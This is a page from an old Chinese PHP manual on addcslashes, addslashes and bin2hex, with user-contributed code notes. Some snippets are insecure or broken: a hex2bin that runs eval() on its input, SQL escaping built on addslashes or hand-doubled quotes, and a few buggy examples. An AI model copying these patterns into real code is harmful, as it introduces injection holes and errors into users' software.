     for( $i=0; $i<strlen($str); $i++ )
     if( ereg( '['.$class[1].']', $str[$i] ) )
     $return .= $str{$i};
     return $return;
   }
   else return false;
  }

  /*
  * example
  * accept only alphanum caracteres from the GET/POST parameters 'a'
  */

  if( ! empty($_REQUEST['a']) )
   $_REQUEST['a'] = str_match( $_REQUEST['a'], 'a-zA-Z0-9' );
  else
   $_REQUEST['a'] = 'default';
?>
Pommef
20-Mar-2005 05:15
Example: Give me everything up to the fourth occurance of '/'.

<?php

   $haystack = "/home/username/www/index.php";
   $needle = "/";

   function strnpos($haystack, $needle, $occurance, $pos = 0) {

       $res = implode($needle,$haystack);

       $res = array_slice($res, $pos,  $occurance);

       return explode ($needle,$res);
   }
?>
kristin at greenapple dot on dot ca
03-Jan-2005 12:32
I really searched for a function that would do this as I've seen it in other languages but I couldn't find it here. This is particularily useful when combined with substr() to take the first part of a string up to a certain point.

strnpos() - Find the nth position of needle in haystack.

<?php

   function strnpos($haystack, $needle, $occurance, $pos = 0) {

       for ($i = 1; $i <= $occurance; $i++) {
           $pos = strpos($haystack, $needle, $pos) + 1;
       }
       return $pos - 1;

   }

?>

Example: Give me everything up to the fourth occurance of '/'.

<?php

   $haystack = "/home/username/www/index.php";
   $needle = "/";

   $root_dir = substr($haystack, 0, strnpos($haystack, $needle, 4));

   echo $root_dir;

?>

Returns: /home/username/www

Use this example with the server variable $_SERVER['SCRIPT_NAME'] as the haystack and you can self-discover a document's root directory for the purposes of locating global files automatically!
21-Dec-2004 12:31
In response to hackajar <matt> yahoo <trot> com,

No string-to-array function exists because it is not needed. If you reference a string with an offset like you do with an array, the character at that offset will be return. This is documented in section III.11's "Strings" article under the "String access and modification by character" heading.
andy a t onesandzeros d o t biz
10-Nov-2004 06:54
I use these little doo-dads quite a bit. I just thought I'd share them and maybe save someone a little time. No biggy. :)

// returns true if $str begins with $sub
function beginsWith( $str, $sub ) {
   return ( substr( $str, 0, strlen( $sub ) ) == $sub );
}

// return tru if $str ends with $sub
function endsWith( $str, $sub ) {
   return ( substr( $str, strlen( $str ) - strlen( $sub ) ) == $sub );
}

// trims off x chars from the front of a string
// or the matching string in $off is trimmed off
function trimOffFront( $off, $str ) {
   if( is_numeric( $off ) )
       return substr( $str, $off );
   else
       return substr( $str, strlen( $off ) );
}

// trims off x chars from the end of a string
// or the matching string in $off is trimmed off
function trimOffEnd( $off, $str ) {
   if( is_numeric( $off ) )
       return substr( $str, 0, strlen( $str ) - $off );
   else
       return substr( $str, 0, strlen( $str ) - strlen( $off ) );
}
[tab!]
28-Oct-2004 03:29
//
// string strtrmvistl(  string str, [int maxlen = 64],
//                      [bool right_justify = false],
//                      [string delimter = "<br>\n"])
//
// splits a long string into two chunks (a start and an end chunk)
// of a given maximum length and seperates them by a given delimeter.
// a second chunk can be right-justified within maxlen.
// may be used to 'spread' a string over two lines.
//

function strtrmvistl($str, $maxlen = 64, $right_justify = false, $delimter = "<br>\n") {
   if(($len = strlen($str = chop($str))) > ($maxlen = max($maxlen, 12))) {
       $newstr = substr($str, 0, $maxlen - 3);

       if($len > ($maxlen - 3)) {
           $endlen = min(($len - strlen($newstr)), $maxlen - 3);
           $newstr .= "..." . $delimter;

           if($right_justify)
               $newstr .= str_pad('', $maxlen - $endlen - 3, ' ');

           $newstr .= "..." . substr($str, $len - $endlen);
       }

       return($newstr);
   }

   return($str);
}
terry dot greenlaw at logicalshift dot com
12-Aug-2004 01:52
Here's a simpler "simplest" way to toggle through a set of 1..n colors for web backgrounds:

<?php
$colours = array('#000000', '#808080', '#A0A0A0', '#FFFFFF');

// Get a colour
$color = next($colors) or $color = reset($colors);
?>

The code doesn't need to know anything about the number of elements being cycled through. That way you won't have to tracking down all the code when changing the number of colors or the color values.
add a note add a note

后退 | 起点 | 前进
stream_wrapper_unregister | 上一级 | addcslashes


addcslashes

(PHP 4, PHP 5)

addcslashes -- 像 C 那样使用反斜线转义字符串中的字符

描述

string addcslashes ( string str, string charlist )

返回字符串，该字符串在属于参数 charlist 列表中的字符前都加上了反斜线。此函数对 \n、\r 等进行转义。像 C 那样，ASCII 码低于 32 以及高于 126 的字符均转换成使用八进制表示。

当你选择对字符 0、a、b、f、n、r、t 和 v 进行转义时需要小心，它们将被转换成 \0、\a、\b、\f、\n、\r、\t 和 \v。在 PHP 中，只有 \0（NULL）、\r（回车符）、\n（换行符）和 \t（分隔符）是预定义的转义序列， 而在 C 中，上述的所有转换后的字符都是预定义的转义序列。

charlist 参数，如“\0..\37”，将转义所有 ASCII 码介于 0 和 37 之间的字符。

例子 1. addcslashes() 示例

<?php
$escaped = addcslashes($not_escaped, "\0..\37!@\177..\377");
?>

当定义 charlist 参数中的字符序列时，你需要确实知道介于你自己设置的开始及结束范围之内的都是些什么字符。

<?php
echo addcslashes('foo[ ]', 'A..z');
// 输出：\f\o\o\[ \]
// 所有大小写字母均被转义
// ... 但 [\]^_` 以及分隔符、换行符、回车符等也一并被转义了。
?>

另外，如果设置范围中的结束字符 ASCII 码高于开始字符，则不会创建范围，只是将开始字符、结束字符以及其间的字符逐个转义。可使用 ord() 函数获取字符的 ASCII 码值。

<?php
echo addcslashes("zoo['.']", 'z..A');
// 输出：\zoo['\.']
?>

参见 stripcslashes()、stripslashes()、htmlspecialchars() 和 quotemeta()。

add a note add a note User Contributed Notes
phpcoder at cyberpimp dot pimpdomain dot com
21-Jan-2005 04:35
Forgot to add something:
The only time you would likely use addcslashes() without specifying the backslash (\) character in charlist is when you are VALIDATING (not encoding!) a data string.

(Validation ensures that all control characters and other unsafe characters are correctly encoded / escaped, but does not alter any pre-existing escape sequences.)

You can validate a data string multiple times without fear of "double encoding".  A single decoding pass will return the original data, regardless of how many times it was validated.)
phpcoder at cyberpimp dot pimpdomain dot com
20-Jan-2005 03:02
If you are using addcslashes() to encode text which is to later be decoded back to it's original form, you MUST specify the backslash (\) character in charlist!

Example:

<?php
  $originaltext = 'This text does NOT contain \\n a new-line!';
  $encoded = addcslashes($originaltext, '\\');
  $decoded = stripcslashes($encoded);
  //$decoded now contains a copy of $originaltext with perfect integrity
  echo $decoded; //Display the sentence with it's literal \n intact
?>

If the '\\' was not specified in addcslashes(), any literal \n (or other C-style special character) sequences in $originaltext would pass through un-encoded, but then be decoded into control characters by stripcslashes() and the data would lose it's integrity through the encode-decode transaction.
ruben at intesys dot it
01-Jun-2004 12:51
jsAddSlashes for XHTML documents:

<?php
header("Content-type: text/xml");

print <<<EOF
<?xml version="1.0"?>
<html>
<head>
<script type="text/javascript">

EOF;

function jsAddSlashes($str) {
   $pattern = array(
       "/\\\\/"  , "/\n/"    , "/\r/"    , "/\"/"    ,
       "/\'/"    , "/&/"    , "/</"    , "/>/"
   );
   $replace = array(
       "\\\\\\\\", "\\n"    , "\\r"    , "\\\""    ,
       "\\'"    , "\\x26"  , "\\x3C"  , "\\x3E"
   );
   return preg_replace($pattern, $replace, $str);
}

$message = jsAddSlashes("\"<Hello>\",\r\n'&World'\\!");

print <<<EOF
alert("$message");
</script>
</head>
<body>
<h1>Hello, World!</h1>
</body>
</html>

EOF;
?>
22-Sep-2003 02:44
<?
function jsaddslashes($s)
{
 $o="";
 $l=strlen($s);
 for($i=0;$i<$l;$i++)
 {
  $c=$s[$i];
  switch($c)
  {
   case '<': $o.='\\x3C'; break;
   case '>': $o.='\\x3E'; break;
   case '\'': $o.='\\\''; break;
   case '\\': $o.='\\\\'; break;
   case '"':  $o.='\\"'; break;
   case "\n": $o.='\\n'; break;
   case "\r": $o.='\\r'; break;
   default:
   $o.=$c;
  }
 }
 return $o;
}

?>
<script language="javascript">
document.write("<? echo jsaddslashes('<h1 style="color:red">hello</h1>'); ?>");
</script>

output :

<script language="javascript">
document.write("\x3Ch1 style=\"color:red\"\x3Ehello\x3C/h1\x3E");
</script>
natNOSPAM at noworrie dot NO_SPAM dot com
18-May-2002 07:22
I have found the following to be much more appropriate code example:

<?php
$escaped = addcslashes($not_escaped, "\0..\37!@\@\177..\377");
?>

This will protect original, innocent backslashes from stripcslashes.
add a note add a note

后退 | 起点 | 前进
String 字符串处理函数 | 上一级 | addslashes


addslashes

(PHP 3, PHP 4, PHP 5)

addslashes -- 使用反斜线引用字符串

描述

string addslashes ( string str )

返回字符串，该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号（'）、双引号（"）、反斜线（\）与 NUL（NULL 字符）。

一个使用 addslashes() 的例子是当你要往数据库中输入数据时。例如，将名字 O'reilly 插入到数据库中，这就需要对其进行转义。大多数据库使用 \ 作为转义符：O\'reilly。这样可以将数据放入数据库中，而不会插入额外的 \。当 PHP 指令 magic_quotes_sybase 被设置成 on 时，意味着插入 ' 时将使用 ' 进行转义。

默认情况下，PHP 指令 magic_quotes_gpc 为 on，它主要是对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes()，因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

例子 1. addslashes() 示例

<?php
$str = "Is your name O'reilly?";

// 输出：Is your name O\'reilly?
echo addslashes($str);
?>

参见 stripslashes()、htmlspecialchars()、quotemeta() 和 get_magic_quotes_gpc()。

add a note add a note User Contributed Notes
Picky
25-May-2006 03:55
This function is deprecated in PHP 4.0, according to this article:

http://www.newsforge.com/article.pl?sid=06/05/23/2141246

Also, it is worth mentioning that PostgreSQL will soon start to block queries involving escaped single quotes using \ as the escape character, for some cases, which depends on the string's encoding.  The standard way to escape quotes in SQL (not all SQL databases, mind you) is by changing single quotes into two single quotes (e.g, ' ' ' becomes ' '' ' for queries).

You should look into other ways for escaping strings, such as "mysql_real_escape_string" (see the comment below), and other such database specific escape functions.
22-Jan-2006 03:59
Probably good to take a look at http://us3.php.net/manual/en/function.mysql-real-escape-string.php .
luciano at vittoretti dot com dot br
31-Oct-2005 07:18
Note, this function wont work with mssql or access queries.
Use the function above (work with arrays too).

function addslashes_mssql($str){
   if (is_array($str)) {
       foreach($str AS $id => $value) {
           $str[$id] = addslashes_mssql($value);
       }
   } else {
       $str = str_replace("'", "''", $str);
   }

   return $str;
}

function stripslashes_mssql($str){
   if (is_array($str)) {
       foreach($str AS $id => $value) {
           $str[$id] = stripslashes_mssql($value);
       }
   } else {
       $str = str_replace("''", "'", $str);
   }

   return $str;
}
thisisroot at gmail dot com
27-Sep-2005 12:30
In response to Krasimir Slavov and Luiz Miguel Axcar:

There are several encoding schemes for inserting binary data into places it doesn't typically belong, such as databases and e-mail bodies. Check out the base64_encode() and convert_uuencode() functions for the details.
Krasimir Slavov kkslavov at yahoo dot com
17-Sep-2005 02:51
If you have problems with adding images or other binady data with addslashes() for php 4.3 >= use:

<?php
$search = array("\x00", "\x0a", "\x0d", "\x1a", "\x09");
$replace = array('\0', '\n', '\r', '\Z' , '\t');

$chrData .= str_replace($search, $replace, $Data );
?>

and put in your SQL field='$chrData' ! please remark quotes
Luiz Miguel Axcar (lmaxcar at yahoo dot com dot br)
01-Sep-2005 09:16
Hello,

If you are getting trouble to SGDB write/read HTML data, try to use this:

<?php

//from html_entity_decode() manual page
function unhtmlentities ($string) {
   $trans_tbl =get_html_translation_table (HTML_ENTITIES );
   $trans_tbl =array_flip ($trans_tbl );
   return strtr ($string ,$trans_tbl );
}

//read from db
$content = stripslashes (htmlspecialchars ($field['content']));

//write to db
$content = unhtmlentities (addslashes (trim ($_POST['content'])));

//make sure result of function get_magic_quotes_gpc () == 0, you can get strange slashes in your content adding slashes twice

//better to do this using addslashes
$content = (! get_magic_quotes_gpc ()) ? addslashes ($content) : $content;

?>
unsafed
01-May-2005 11:23
addslashes does NOT make your input safe for use in a database query! It only escapes according to what PHP defines, not what your database driver defines. Any use of this function to escape strings for use in a database is likely an error - mysql_real_escape_string, pg_escape_string, etc, should be used depending on your underlying database as each database has different escaping requirements. In particular, MySQL wants \n, \r and \x1a escaped which addslashes does NOT do. Therefore relying on addslashes is not a good idea at all and may make your code vulnerable to security risks. I really don't see what this function is supposed to do.
gv
07-Nov-2004 09:23
Regarding the previous note using addslashes/stripslahes with regular expressions and databases it looks as if the purpose of these functions gets mixed.

addslahes encodes data to be sent to a database or something similar. Here you need addslashes because you send commands to the database as command strings that contain data and thus you have to escape characters that are special in the command language like SQL.

Therefore the use of addslahses on a regex does properly store the regex in the database.

stripslashes does the opposite: it decodes an addslashes encoded string. However, retrieving data from a database works differently: it does not go through some string interpretation because you actually retrieve your binary data in your variables. In other words: the data stored in your variable is the unmodified binary data that your database returned. You do not run stripslahes on data returned from a database. That way, the regexs are retrieved correctly, too.

This is different from other data exchange like urlencoded strings that you exchange with your browser. Here the data channel uses the same encodings in both directions: therefore you have to encode data to be sent and you have to decode data received.
percy at rotteveel dot ca
19-Oct-2004 11:08
Be very careful when using addslashes and stripslashes in combination with regular expression that will be stored in a MySQL database. Especially when the regular expression contain escape characters!

To store a regular expression with escape characters in a MySQL database you use addslashes. For example:

$l_reg_exp = addslashes( [\x00-\x1F] );

After this the variable $l_reg_exp will contain: [\\x00-\\x1F].

When you store this regular expression in a MySQL database, the regular expression in the database becomes [\x00-\x1F].

When you retrieve the regular expression from the MySQL database and apply the PHP function stripslashes(), the single backslashes will be gone!

The regular expression will become [x00-x1F] and your regular expression might not work!
mark at hagers dot demon dot nl
27-Sep-2004 06:34
I was stumped for a long time by the fact that even when using addslashes and stripslashes explicitly on the field values double quotes (") still didn't seem to show up in strings read from a database. Until I looked at the source, and realised that the field value is just truncated at the first occurrence of a double quote. the remainder of the string is there (in the source), but is ignored when the form is displayed and submitted.

This can easily be solved by replacing double quotes with "&quot;" when building the form. like this:
$fld_value =  str_replace ( "\"", "&quot;", $src_string ) ;
The reverse replacement after the form submission is not necessary.
hazy underscore fakie at ringwraith dot org
13-Jul-2003 02:23
Note that when using addslashes() on a string that includes cyrillic characters, addslashes() totally mixes up the string, rendering it unusable.
phil at internetprojectmanagers dot com
10-Apr-2003 09:46
re: problem with mcrypt, addslashes and mysql

Here is my solution to the problem of characters from mcrypt creating issues with mysql calls (due to characters which aren't cleaned up by addslashes).

Solution: simply convert your encryption string to hex, then back to binary when you are ready to decrypt.

<?php
// ie.
$encrypted = addslashes($string);
$encrypted = bin2hex($encrypted);

// ... then:
$decrypted = hex2bin($encrypted);
$decrypted = stripslashes($decrypted);

// where hex2bin() is:
function hex2bin($hexdata) {
  $bindata="";

  for ($i=0;$i<strlen($hexdata);$i+=2) {
   $bindata.=chr(hexdec(substr($hexdata,$i,2)));
  }

  return $bindata;
}
?>

One word of caution: this will increase the length of your initial data string, so you will need to increase the field length for your mysql database.

Cheers, Phil
PS. I knew that I'd eventually be able to give something back to the site!
phil at internetprojectmanagers dot com
10-Apr-2003 07:47
re: encryption, addslashes and mysql

Note that mcrypt encryption may add in an apostrophe from the ascii table which cannot be protected by addslashes. It may not even be on your keyboard.

Because encryption strings are random, you may not discover it unless you test (or stumble?) on the correct sequence which inserts an apostrophe in the encrypted string.

This means that testing is even more important where encryption is concerned. If I create a solution I'll post it here.

Phil
steve at teamITS dot com
18-Jan-2003 09:53
For thelogrus, my testing shows the opposite--that a slashed string is stored correctly by MySQL.  Consider

insert into test (field1) values ('test\'test')

...which is stored as "test'test".  If you were posting "Sir'Weaser" from a form to your script and have magic_quotes_gpc on, then the string is slashed already so if you run addslashes() again you will be entering "Sir\\'Weaser" into MySQL.  In that case "Sir\'Weaser" would be the correct output.

In summary, addslashes() is not necessary if magic_quotes_gpc is on.
mike at gyrate dot org
13-Jan-2003 06:05
[Editor's note: See also the php.ini configuration magic_quotes_sybase at the URL http://www.php.net/manual/en/ref.sybase.php]

please note that addslashes will NOT work with mssql, since mssql does not use the backslash character as an escape mechanism.  just double your quotes instead.  or use this:

<?php
function mssql_addslashes($data) {
   $data = str_replace("'", "''", $data);
   return $data;
}
?>
hoskerr at nukote dot com
13-Nov-2002 07:16
Beware of using addslashes() on input to the serialize() function.  serialize() stores strings with their length; the length must match the stored string or unserialize() will fail.

Such a mismatch can occur if you serialize the result of addslashes() and store it in a database; some databases (definitely including PostgreSQL) automagically strip backslashes from "special" chars in SELECT results, causing the returned string to be shorter than it was when it was serialized.

In other words, do this...

<?php
$string="O'Reilly";
$ser=serialize($string);    # safe -- won't count the slash
$result=addslashes($ser);
?>

...and not this...

<?php
$string="O'Reilly";
$add=addslashes($string);  # RISKY!  -- will count the slash
$result=serialize($add);
?>

In both cases, a backslash will be added after the apostrophe in "O'Reilly"; only in the second case will the backslash be included in the string length as recorded by serialize().

[Note to the maintainers: You may, at your option, want to link this note to serialize() as well as to addslashes().  I'll refrain from doing such cross-posting myself...]
php at slamb dot org
31-Oct-2002 02:48
spamdunk at home dot com, your way is dangerous on PostgreSQL (and presumably MySQL). You're quite correct that ANSI SQL specifies using ' to escape, but those databases also support \ for escaping (in violation of the standard, I think). Which means that if they pass in a string that includes a "\'", you expand it to "\'''" (an escaped quote followed by a non-escaped quote. WRONG! Attackers can execute arbitrary SQL to drop your tables, make themselves administrators, whatever they want.)

The best way to be safe and correct is to:

- don't use magic quotes; this approach is bad. For starters, that's making the assumption that you will be using your input in a database query, which is arbitrary. (Why not escape all "<"s with "&lt;"s instead? Cross-site scripting attacks are quite common as well.) It's better to set up a way that does whatever escaping is correct for you when you use it, as below:

- when inserting into the database, use prepared statements with placeholders. For example, when using PEAR DB:

<?php
   $stmt = $dbh->prepare('update mb_users set password = ? where username = ?');
   $dbh->execute($stmt, array('12345', 'bob'));
?>

Notice that there are no quotes around the ?s. It handles that for you automatically. It's guaranteed to be safe for your database. (Just ' on oracle, \ and ' on PostgreSQL, but you don't even have to think about it.)

Plus, if the database supports prepared statements (the soon-to-be-released PostgreSQL 7.3, Oracle, etc), several executes on the same prepare can be faster, since it can reuse the same query plan. If it doesn't (MySQL, etc), this way falls back to quoting code that's specifically written for your database, avoiding the problem I mentioned above.

(Pardon my syntax if it's off. I'm not really a PHP programmer; this is something I know from similar things in Java, Perl, PL/SQL, Python, Visual Basic, etc.)
guy_AT_datalink_DOT_net_DOT_au
30-Mar-2002 05:58
If you're trying to escape quotes in a javascript event as such:

<img src="foo.gif" OnMouseOver="alert('<? print $myString ?>')">

It helps to perform this first:

$myString = str_replace("'", "\'", $myString);
$myString = str_replace('"', "'+String.fromCharCode(34)+'", $myString);
hybrid at n0spam dot pearlmagik dot com
09-May-2001 01:46
Remember to slash underscores (_) and percent signs (%), too, if you're going use the LIKE operator on the variable or you'll get some unexpected results.
php at NO_SPAMj-w3 dot com
03-Apr-2001 06:18
As mentioned, magic_quotes_gpc automatically adds slashes to POST and GET data and these slashes don't go in the database.  BUT, be careful of this. If you have a form with an error check, make sure you strip the slashes if your form remembers the OK fields, so the user doesn't view these automagically added slashes.
spamdunk at home dot com
07-Mar-2001 05:12
FYI, Quoting the single quote (') as ('') is not an Oracle stle, or a Sybase style, or any other vendor-specific style. It is the ANSI SQL (i.e. SQL standard) style.

Using blackslahes to escape characters is a proprietary extension that some databases have. If you want your SQL to be portable across databases, don't use it.

For example (on PostgreSQL):

=> create table t (s varchar(64));
CREATE
=> insert into t values ('one''two"three''');
INSERT 206474 1
wapkey=> select * from t;
       s
----------------
 one'two"three'
(1 row)

... as expected, as per the standard.
add a note add a note

后退 | 起点 | 前进
addcslashes | 上一级 | bin2hex


bin2hex

(PHP 3 >= 3.0.9, PHP 4, PHP 5)

bin2hex -- 将二进制数据转换成十六进制表示

描述

string bin2hex ( string str )

返回 ASCII 字符串，为参数 str 的十六进制表示。转换使用字节方式，高四位字节优先。

参见 pack() 和 unpack()。

add a note add a note User Contributed Notes
mike at go dot online dot pt
15-Mar-2006 08:03
Unicode/multibyte capable 'bin2hex' function, inspired by v0rbiz at yahoo dot com >> http://www.php.net/manual/en/function.ord.php#42778

function unibin2hex($u) {
   $k = mb_convert_encoding($u, 'UCS-2LE', 'UTF-8');
   $k1 = bin2hex(substr($k, 0, 1));
   $k2 = bin2hex(substr($k, 1, 1));
   return $k2.$k1;
}

Note: UCS-2LE = UCS-2 little endian; UCS-2 = UTF-16
Viking Coder
26-Jan-2006 05:28
The simplest way to do a true hex2bin (not ascii 1s & 0s).

pack("H*", $hex);
stroppytux at gmail dot com
13-Aug-2005 06:28
The other way to do this pedram, is to do this:
$encoded= strrev(chunk_split(strrev(bin2hex("test@mail.com")), 2, '%'));
lihong dot wei at mwbiz dot de
18-May-2005 08:15
Convert special characters(inclusiv line break) in a string into hexadecimal characters
function spec2hex($str) {
   $result = '';
   for($i = 0; $i < strlen($str); $i++) {
           if(ord(substr($str, $i, 1)) > 127 || ord(substr($str, $i, 1)) == 10){
               $result .= '&#x'.bin2hex(substr($str, $i, 1)).';';
           }
           else{
               $result .= substr($str, $i, 1);
           }
   }
   return $result;
}
php_guru t bestof dsh inter dt net
04-Feb-2005 04:15
The function hexentities($str) of the previous post is equivalent to

<?= substr( chunk_split( bin2hex( " $str" ), 2, ";&#x" ), 3,-3) ?>

Also, I think that the <address> tag should be used for the whole paragraph (usually at document foot) and not as shortcut for <span class=email> or so (although it is an %inline; element), see e.g. http://www.w3.org/TR/html4/struct/global.html#h-7.5.6
manithu at fahr-zur-hoelle dot org
10-Jan-2005 05:30
This function returns the string $str in htmlentity hex format (&#xnumber;).
It is useful to prevent spam bots indexing your email adress.

<?php

function hexentities($str) {
   $return = '';
   for($i = 0; $i < strlen($str); $i++) {
       $return .= '&#x'.bin2hex(substr($str, $i, 1)).';';
   }
   return $return;
}

?>

example:
<?php echo 'email: <address>'.hexentities('foo@bar').'</address>'; ?>
will return:

email: <address>&#x66;&#x6f;&#x6f;&#x40;&#x62;&#x61;&#x72;</address>

the browser will show foo@bar.
j_lozinskit at yahoo dot co dot uk
24-Nov-2004 09:11
A good option for creating strings with binary data for saving (for example saving an sql statement to a file) into text files or php code is to do the following:

<?php
$field=bin2hex($field);
$field=chunk_split($field,2,"\\x");
$field= "\\x" . substr($field,0,-2);
?>

this will convert your field (binary or not) into hex and then convert the hex into a string which may be placed in a php file:

FFFFFFFF -> \xFF\xFF\xFF\xFF
t0rus at dr dot com
23-Nov-2004 12:18
modified version of Thoth's hexbin and binhex to convert
any size numbers
(original doesn't take more than integer - 32bit)
<?
function hexbin($hex){
   $bin='';
   for($i=0;$i<strlen($hex);$i++)
       $bin.=str_pad(decbin(hexdec($hex{$i})),4,'0',STR_PAD_LEFT);
       return $bin;
}

function binhex($bin){
   $hex='';
   for($i=strlen($bin)-4;$i>=0;$i-=4)
       $hex.=dechex(bindec(substr($bin,$i,4)));
   return strrev($hex);
}
?>
brams006 at umn dot edu
20-Aug-2004 06:05
Here's a modified version of an earlier post (asc2bin and bin2asc) to convert an incoming ascii string to hex and out again.  For example, this is really useful if you want to insert data into a mySQL database which contains both escaped and non-escaped characters.  For example, if you want to store code snibbets in a mySQL text field:

printf("here's some \"text\".");

If you INSERT this into mySQL, it probably won't come out in friendly executable format, and you can't escape all double-quotes, nor can you strip out all the slashes.  One solution is to just convert the string to hex, store it in hex, then convert back to ascii before using it in some way:

function asc2hex ($temp) {
   $len = strlen($temp);
   for ($i=0; $i<$len; $i++) $data.=sprintf("%02x",ord(substr($temp,$i,1)));
   return $data;
}

function hex2asc($temp) {
   $len = strlen($temp);
   for ($i=0;$i<$len;$i+=2) $data.=chr(hexdec(substr($temp,$i,2)));
   return $data;
}
RT
20-May-2004 03:45
The easiest way of all to convert a hex string to ascii is:

<?
pack("H*", $your_hex_string);
?>
aidan at php dot net
30-Apr-2004 11:48
hexdump() is a function for "dumping" packets or binary output from servers. See the below link for more information.

http://aidan.dotgeek.org/lib/?file=function.hexdump.php
mhspam at mail dot sce dot cz
23-Apr-2004 10:14
My version of quoted-printable mail subject converting function (maybe not as effective, but preserving characters which don't need conversion).
Martin
<?php
// Transfer mail subject into Quoted Printable encoding
function mail_quote_subj($str, $charset){
   $out = '';
   for($i = 0; $i < strlen($str); $i++){
       $out .= (ord($str[$i]) > 127) ? "=" . bin2hex($str[$i]) : $str[$i];
   }
   return "=?$charset?Q?".$out."?=";
};
?>
AntonioAlcorn at yahoo dot coma
20-Apr-2004 02:34
In response to Patrik:
A simpler way to print a number in binary is to use base_convert().
<? echo base_convert($bin, 10, 2); ?>
If you need it to print all 32 bits (as your function does) you can just pad it out:
<? echo str_pad(base_convert($bin, 10, 2), 32, '0', STR_PAD_LEFT); ?>
The conversion is from base 10 because when $bin is passed to base_convert(), it is converted to a string, and the default representation is in decimal.
Hope this helps.
Patrik
02-Feb-2004 01:14
I needed a little function that will print the binary as a string, here it comes.

<?php
function bin2string($bin) {
   $res = "";
   for($p=31; $p >= 0; $p--) {
     $res .= ($bin & (1 << $p)) ? "1" : "0";
   }
   return $res;
}
?>
mkr at binarywerks dot dk
29-Oct-2003 09:34
Ok, this is a better version than my previous poor example.

Running this in shell creates a progress indicator. Very useful if used when parsing large log files for instance.

#!/usr/bin/php4 -q
<?
// Displays a progress indicator
function progress($line)
{
       global $last_len;

       $del_char = pack("H" . 2, "7F");
       $line_len = strlen($line);
       $del_chars=(isset($last_len)) ? $last_len : $line_len;

       $last_len = $line_len;
       return str_repeat($del_char, ($del_chars)).$line;
}

// demo code:
for($i=0;$i<100;$i++)
{
       sleep(1);
       echo progress("i is now: $i out of 100");
}
?>
Thoth
24-Oct-2003 08:24
I thought it'll give me an "F" if i give it a "1111"...

Here's something to convert a binary-string into a hex-string and other direction too:

<?php
function hexbin($hex) {
   $bin = decbin(hexdec($hex));
   return $bin;
}

function binhex($bin) {
   $hex = dechex(bindec($bin));
   return $hex;
}
?>

simple, isn't it?
mike at symmetrytechnical dot com
29-Sep-2003 04:41
Easier hex2bin function:

<?php
function hex2bin($data)
{
   $len = strlen($data);
   return pack("H" . $len, $data);
}
?>
Francisco (ffaria at mutua dot com dot br)
22-Jul-2003 07:33
function to search a character in a normal string change this for a hexadecimal and take the especifical char code in hexa and replace this char and return the string

<?php
function hex_replace($pCaracter,$sCaracter,$conteudo) {

   $pHex = bin2hex($pCaracter);
   $sHex = bin2hex($sCaracter);

   $tam = strlen($conteudo);

   for($i = 0; $i <= $tam; $i++) {
       $cont = bin2hex(substr($conteudo,$i,1));

       if ($cont == $pHex) {
           $cont = $sHex;
           $hex .= $cont;
       }
   }

   for ($i=0;$i<strlen($hex);$i+=2)
         $bin .= chr(hexdec(substr($hex,$i,2)));
   return $bin;
}
?>

by from a litle brazilian. :-P
frederic dot surleau at atosorigin dot com
17-Jul-2003 08:25
Another version for hex2bin :

<?php
function hex2bin($hexdata){
for( $i = 0; $i < strlen( $hexdata ); $i += 2 )
eval( '$bindata .= "\x' . substr( $hexdata, $i, 2 ) . '";' );
return $bindata;}
?>
andreas.schmeiler
05-Feb-2003 10:01
<?php
function hex2bin($hexdata) {

   for ($i=0;$i<strlen($hexdata);$i+=2) {
     $bindata.=chr(hexdec(substr($hexdata,$i,2)));
   }

   return $bindata;
}
?>
admin at tsunaquack dot com
17-Jan-2003 05:04
Some gave a function to convert a hex code back into a simple text (human readable ASCII :P)

Some else gave a function that makes use of bin2hex to convert URLs into something like %12%34%56

Here is a function to go from the form %12%34%56 back into ASCII

Note that this function can easily be changed in order to transform any hex code into ASCII

<?
function _hex2text($str) {
   $str = explode('%', $str);
   array_shift($str);
   $nmlstr = '';
   foreach($str as $hexstr) {
     $nmlstr .= chr(base_convert($hexstr, 16, 10));
   }
   return $nmlstr;
}
?>

'hope this helps :)
Regards
-Tsuna
matthew dot eastman at hotpop dot com
09-Oct-2002 01:00
This function undoes it (converts back into ASCII).

<?php
function hex2asc($myin) {
for ($i=0; $i<strlen($myin)/2; $i++) {
$myout.=chr(base_convert(substr($myin,$i*2,2),16,10));
}
return $myout;
}
?>
matt at zevi dot net
21-Aug-2002 05:27
Hopefully this helps someone...

It just displays an html representation of hex data, much like a hex viewer would.

Matt

<?php
function hexview($data){
  $bytePosition = $columnCount = $lineCount = 0;
  $columns = 8;
  $dataLength = strlen($data);
  $return = array();
  $return[] = '<table border="1" cellspacing="0" cellpadding="2">';
  for($n = 0; $n < $dataLength; $n++){
   $lines[$lineCount][$columnCount++] = substr($data, $n, 1);
   if($columnCount == $columns){
     $lineCount++;
     $columnCount = 0;
   }
  }
  foreach($lines as $line){
   $return[] = '<tr><td align="right">'.$bytePosition.': </td>';
   for($n = 0; $n < $columns; $n++){
     $return[] = '<td>'.strtoupper(bin2hex($line[$n])).'</td>';
   }
   $return[] = '<td> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </td>';
   for($n = 0; $n < $columns; $n++){
     $return[] = '<td>'.(htmlentities($line[$n]) ? htmlentities($line[$n]) : '&nbsp;').'</td>';
   }
   $return[] = '</tr>';
   $bytePosition = $bytePosition + $columns;
  }
  $return[] = '</table>';
  return implode('', $return);
}
?>
php at (what spam?) at vaejas dot com
05-Aug-2002 08:01
I have found the above quoted-printable encoding function to be
extremely useful, and thank maxg for making a great function that is not already included in PHP.
(Pity it's hidden all the way over here when it could be found more easily in quoted_printable_decode() )

However, there is one missing character in the code that needs to be included:

Right after the ?Q? there needs to be an extra equal sign in order for the very first character to be translated by the e-mail software.

$string = "=?$charset?Q?=" . $encoded . "?=";
is correct.

I don't yet have enough experience to speak for other caveats or improvements, but your mileage may vary depending on the e-mail server.

- Luke
maxg at hot dot ee
15-Dec-2001 03:47
I wrote the function that is useful for sending emails for example in cyrillic encoding (wondows-1251, koi8-r and so on).
It converts every symbol in the string into hexadecimal presentation with "=" symbol as delimiter.

For example, the string "  " will look like that:
=d0=e5=e3=e8=f1=f2=f0=e0=f6=e8=ee=ed=ed=fb=e9=20=ea=ee=e4=20=e4=eb=ff

I use it for encoding email subject, but it could be modified for anything else.

<?php
function hex4email ($string,$charset)
{
   $string=bin2hex ($string);
